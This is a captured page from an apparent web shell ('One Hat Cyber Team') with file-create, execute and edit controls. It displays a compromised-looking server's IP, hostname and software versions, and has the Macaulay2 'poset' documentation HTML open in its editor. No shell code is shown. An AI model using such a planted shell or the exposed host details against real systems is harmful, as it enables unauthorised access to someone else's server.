One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
Macaulay2
/
Posets
/
html
/
Edit File:
_poset.html
<!DOCTYPE html> <html lang="en"> <head> <title>poset -- creates a new Poset object</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <link type="text/css" rel="stylesheet" href="../../../../Macaulay2/Style/doc.css"> <link rel="stylesheet" href="../../../../Macaulay2/Style/katex/katex.min.css"> <script defer="defer" src="../../../../Macaulay2/Style/katex/katex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/auto-render.min.js"></script> <script> var macros = { "\\break": "\\\\", "\\ZZ": "\\mathbb{Z}", "\\NN": "\\mathbb{N}", "\\QQ": "\\mathbb{Q}", "\\RR": "\\mathbb{R}", "\\CC": "\\mathbb{C}", "\\PP": "\\mathbb{P}" }, delimiters = [ { left: "$$", right: "$$", display: true}, { left: "\\[", right: "\\]", display: true}, { left: "$", right: "$", display: false}, { left: "\\(", right: "\\)", display: false} ], ignoredTags = [ "kbd", "var", "samp", "script", "noscript", "style", "textarea", "pre", "code", "option" ]; document.addEventListener("DOMContentLoaded", function() { renderMathInElement(document.body, { delimiters: delimiters, macros: macros, ignoredTags: ignoredTags, trust: true }); }); </script> <style>.katex { font-size: 1em; }</style> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/copy-tex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/render-a11y-string.min.js"></script> <script src="../../../../Macaulay2/Style/prism.js"></script> <script>var current_version = '1.25.06';</script> <script src="../../../../Macaulay2/Style/version-select.js"></script> <link type="image/x-icon" rel="icon" href="../../../../Macaulay2/Style/icon.gif"> </head> <body> <div id="buttons"> <div> <a href="https://macaulay2.com/">Macaulay2</a> <span id="version-select-container"></span> » <a title="Macaulay2 documentation" href="../../Macaulay2Doc/html/index.html">Documentation </a> <br><a href="../../Macaulay2Doc/html/_packages_spprovided_spwith_sp__Macaulay2.html">Packages</a> » <span><a title="a package for working with partially ordered sets" href="index.html">Posets</a> :: <a title="creates a new Poset object" href="_poset.html">poset</a></span> </div> <div class="right"> <form method="get" action="https://www.google.com/search"> <input placeholder="Search" type="text" name="q" value=""> <input type="hidden" name="q" value="site:macaulay2.com/doc"> </form> <a href="___Poset_sp_us_sp__List.html">next</a> | <a href="___Poset.html">previous</a> | <a href="___Poset_sp_us_sp__List.html">forward</a> | <a href="___Poset.html">backward</a> | up | <a href="master.html">index</a> | <a href="toc.html">toc</a> </div> </div> <hr> <div> <h1>poset -- creates a new Poset object</h1> <ul> <li> <dl class="element"> <dt>Usage: </dt> <dd><code class="language-macaulay2">P = poset R</code></dd> <dd><code class="language-macaulay2">P = poset(G, cmp)</code></dd> <dd><code class="language-macaulay2">P = poset(G, R)</code></dd> <dd><code class="language-macaulay2">P = poset(G, R, M)</code></dd> </dl> </li> <li>Inputs: <ul> <li><span><span class="tt">G</span>, <span>a <a title="the class of all lists -- {...}" href="../../Macaulay2Doc/html/___List.html">list</a></span>, elements in the ground set of $P$</span></li> <li><span><span class="tt">R</span>, <span>a <a title="the class of all lists -- {...}" href="../../Macaulay2Doc/html/___List.html">list</a></span>, pairs {$a,b$} which indicate that $a \leq b$</span></li> <li><span><span class="tt">M</span>, <span>a <a title="the class of all matrices" href="../../Macaulay2Doc/html/___Matrix.html">matrix</a></span>, with entries $(i,j)$ equal to 1 if $G_j \leq G_i$ and 0 otherwise</span></li> <li><span><span class="tt">cmp</span>, <span>a <a title="the class of all functions" href="../../Macaulay2Doc/html/___Function.html">function</a></span>, a binary function such that $cmp(G_i, G_j)$ is true if and only if $G_i \leq G_j$ in the partial order</span></li> </ul> </li> <li><a href="../../Macaulay2Doc/html/_using_spfunctions_spwith_spoptional_spinputs.html">Optional inputs</a>: <ul> <li><span><span class="tt">AntisymmetryStrategy</span><span class="tt"> => </span><span>a <a title="the class of all strings" href="../../Macaulay2Doc/html/___String.html">string</a></span>, <span>default value "rank"</span>, either "digraph", "none", or "rank"</span></li> </ul> </li> <li>Outputs: <ul> <li><span><span class="tt">P</span>, <span>an instance of the type <a title="a class for partially ordered sets (posets)" href="___Poset.html">Poset</a></span>, </span></li> </ul> </li> </ul> <div> <h2>Description</h2> <div> <p>This method creates a <a title="a class for partially ordered sets (posets)" href="___Poset.html">Poset</a> by defining the set and giving the order relations between the elements in the set. The function assumes that each element in the ground set $G$ is distinct and operates by taking the transitive and reflexive closure of the relations in $R$. The function returns an error if the input relations are incompatible with creating a poset.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i1 : G = {a,b,c,d};</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i2 : R = {{a,b}, {a,c}, {c,d}};</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i3 : P = poset(G, R) o3 = P o3 : Poset</code></pre> </td> </tr> </table> <div> <p>It is unnecessary to pass the ground set if every vertex of the poset is a member of at least one relation in $R$.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i4 : poset {{1,2},{2,3},{3,4}} o4 = Relation Matrix: | 1 1 1 1 | | 0 1 1 1 | | 0 0 1 1 | | 0 0 0 1 | o4 : Poset</code></pre> </td> </tr> </table> <div> <p>Sometimes it is easier to create a poset by passing the ground set and a binary function which compares elements in the ground set.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i5 : cmp = (a,b) -> b % a == 0;</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i6 : G = toList(1..10);</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i7 : P = poset(G, cmp) o7 = P o7 : Poset</code></pre> </td> </tr> </table> <div> <p>And, in other cases, it may be easy to find all relations in the poset. In this case, if the matrix encoding all the relations is passed to the poset method, then it is not necessary to compute the transitive closure. However, it should be noted that the method makes no checks on either the relations or the matrix in this case.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">i8 : S = QQ[x,y,z];</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i9 : G = {x^2, x*y, z^2, x^2*y*z, x*y*z^3, x^2*y^2*z^3};</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i10 : R = flatten for g in G list for h in G list if h %g == 0 then {g,h} else continue;</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i11 : M = matrix apply(G, g -> apply(G, h -> if h %g == 0 then 1 else 0)); 6 6 o11 : Matrix ZZ <-- ZZ</code></pre> </td> </tr> <tr> <td> <pre><code class="language-macaulay2">i12 : P = poset(G, R, M) o12 = P o12 : Poset</code></pre> </td> </tr> </table> <div> <p>In the previous example the vertices of the poset were <a title="the class of all ring elements handled by the engine" href="../../Macaulay2Doc/html/___Ring__Element.html">RingElement</a>s. In fact, the Posets package does not require the vertices to be of any particular type. However, this also means when the package makes calls to external methods, it sometimes must relabel the vertices (usually to the index of the vertex in $G$).</p> <p>The option AntisymmetryStrategy determines how the method checks the input relations for antisymmetry (a necessary condition for a poset). The default, "rank", checks that the RelationMatrix has maximal rank. The choice "digraph" uses the <a title="determines whether a graph is cyclic" href="../../Graphs/html/_is__Cyclic.html">isCyclic</a> method on the <a href="../../Graphs/html/___Digraph.html">Digraph</a> of the given relations. Last, the choice "none" skips the check all together.</p> </div> </div> <div> <h2>Caveat</h2> <div> <p>Care should be taken when using the AntisymmetryStrategy option. If "none" is specified but the relations are cyclic, then the returned Poset will not actually be a Poset. In this case, the behavior of the package is unknown.</p> </div> </div> <div> <h2>See also</h2> <ul> <li><span><a title="a class for partially ordered sets (posets)" href="___Poset.html">Poset</a> -- a class for partially ordered sets (posets)</span></li> </ul> </div> <div> <div class="waystouse"> <h2>Ways to use <span class="tt">poset</span>:</h2> <ul> <li><kbd>poset(List)</kbd></li> <li><kbd>poset(List,Function)</kbd></li> <li><kbd>poset(List,List)</kbd></li> <li><kbd>poset(List,List,Matrix)</kbd></li> </ul> </div> <div class="waystouse"> <h2>For the programmer</h2> <p>The object <a title="creates a new Poset object" href="_poset.html">poset</a> is <span>a <a title="a type of method function" href="../../Macaulay2Doc/html/___Method__Function__With__Options.html">method function with options</a></span>.</p> </div> <hr> <div class="waystouse"> <p>The source of this document is in <span class="tt">Posets.m2:2122:0</span>.</p> </div> </div> </div> </body> </html>
Simpan